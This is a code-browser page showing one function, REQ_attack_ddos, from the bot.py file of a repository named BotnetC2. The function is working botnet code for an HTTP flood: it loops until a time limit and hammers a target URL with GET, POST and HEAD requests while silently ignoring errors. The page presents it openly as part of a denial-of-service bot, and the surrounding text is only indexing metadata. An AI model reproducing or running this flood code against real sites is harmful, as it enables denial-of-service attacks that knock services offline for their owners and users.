MCPcopy Create free account
hub / github.com/Hex1629/BotnetC2 / REQ_attack_ddos

Function REQ_attack_ddos

BOTNETc2/bot.py:492–504  ·  view source on GitHub ↗
(ip,secs)

Source from the content-addressed store, hash-verified

490 pass
491
492def REQ_attack_ddos(ip,secs):
493 while time.time() < secs:
494
495 try:
496 requests.get(ip)
497 except:
498 try:
499 requests.post(ip)
500 except:
501 try:
502 requests.head(ip)
503 except:
504 pass
505
506def REQ_attack(ip,method,secs):
507 while time.time() < secs:

Callers

nothing calls this directly

Calls

no outgoing calls

Tested by

no test coverage detected